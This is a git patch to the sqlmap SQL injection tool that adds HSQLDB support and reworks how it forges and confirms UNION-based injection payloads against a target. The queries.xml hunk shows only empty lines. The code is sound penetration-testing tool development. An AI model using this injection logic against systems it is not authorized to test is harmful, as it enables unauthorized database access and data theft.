From 570562369b0ba1636dc733c102340e50b053f106 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Oct 2015 13:04:59 +0200 Subject: [PATCH] Further fixes for sqlmap to work properly with HSQLDB (WebGoat) --- lib/core/agent.py | 23 +++++-- lib/techniques/union/test.py | 116 ++++++++++++++++++----------------- plugins/generic/databases.py | 2 +- xml/queries.xml | 14 ++--- 4 files changed, 87 insertions(+), 68 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index e2963f01b..310b46ad9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -588,7 +588,7 @@ class Agent(object): else: return query - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + if Backend.isDbms(DBMS.MYSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop @@ -615,6 +615,7 @@ class Agent(object): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) + concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -885,15 +886,29 @@ class Agent(object): fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex + 1:] - orderBy = False + orderBy = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.isDbms(DBMS.HSQLDB): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) - limitedQuery += " %s" % limitStr + match = re.search(r"ORDER BY [^ ]+", limitedQuery) + if match: + limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() + limitedQuery += " %s" % match.group(0) + + if query.startswith("SELECT "): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) + limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1) + else: + limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num) + limitedQuery += " %s" % limitStr + + if not match: + match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery) + if match: + orderBy = " ORDER BY %s" % match.group(1) elif Backend.isDbms(DBMS.FIREBIRD): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index a498bf08c..1e194eefb 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -165,74 +165,78 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO # Unbiased approach for searching appropriate usable column random.shuffle(positions) - # For each column of the table (# of NULL) perform a request using - # the UNION ALL SELECT statement to test it the target URL is - # affected by an exploitable union SQL injection vulnerability - for position in positions: - # Prepare expression with delimiters - randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) - phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) - randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) - randQueryUnescaped = unescaper.escape(randQueryProcessed) + for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): + if vector: + break - # Forge the union SQL injection request - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + # For each column of the table (# of NULL) perform a request using + # the UNION ALL SELECT statement to test it the target URL is + # affected by an exploitable union SQL injection vulnerability + for position in positions: + # Prepare expression with delimiters + randQuery = randomStr(charCount) + phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) + randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) + randQueryUnescaped = unescaper.escape(randQueryProcessed) - # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") + # Forge the union SQL injection request + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - if content and phrase in content: - validPayload = payload - kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) + # Perform the request + page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ + removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ + payload, True) or "") - if where == PAYLOAD.WHERE.ORIGINAL: - # Prepare expression with delimiters - randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) - phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) - randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) - randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) + if content and phrase in content: + validPayload = payload + kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) - # Confirm that it is a full union SQL injection - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + if where == PAYLOAD.WHERE.ORIGINAL: + # Prepare expression with delimiters + randQuery2 = randomStr(charCount) + phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) + randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) + randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) - # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") - - if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) - elif not kb.unionDuplicates: - fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) - - # Check for limited row output - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + # Confirm that it is a full union SQL injection + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") - if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: - warnMsg = "output with limited number of rows detected. Switching to partial mode" - logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False) + content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") - unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() + if not all(_ in content for _ in (phrase, phrase2)): + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + elif not kb.unionDuplicates: + fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) - if unionErrorCase and count > 1: - warnMsg = "combined UNION/error-based SQL injection case found on " - warnMsg += "column %d. sqlmap will try to find another " % (position + 1) - warnMsg += "column with better characteristics" - logger.warn(warnMsg) - else: - break + # Check for limited row output + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + + # Perform the request + page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ + removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ + payload, True) or "") + if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: + warnMsg = "output with limited number of rows detected. Switching to partial mode" + logger.warn(warnMsg) + vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False) + + unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() + + if unionErrorCase and count > 1: + warnMsg = "combined UNION/error-based SQL injection case found on " + warnMsg += "column %d. sqlmap will try to find another " % (position + 1) + warnMsg += "column with better characteristics" + logger.warn(warnMsg) + else: + break return validPayload, vector diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index ed3ac32eb..8070fc0ad 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -415,7 +415,7 @@ class Databases: colList = filter(None, colList) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") diff --git a/xml/queries.xml b/xml/queries.xml index c57a5b49f..98b79cac7 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -651,8 +651,8 @@ - - + + @@ -676,26 +676,26 @@ - + - + - + - + - +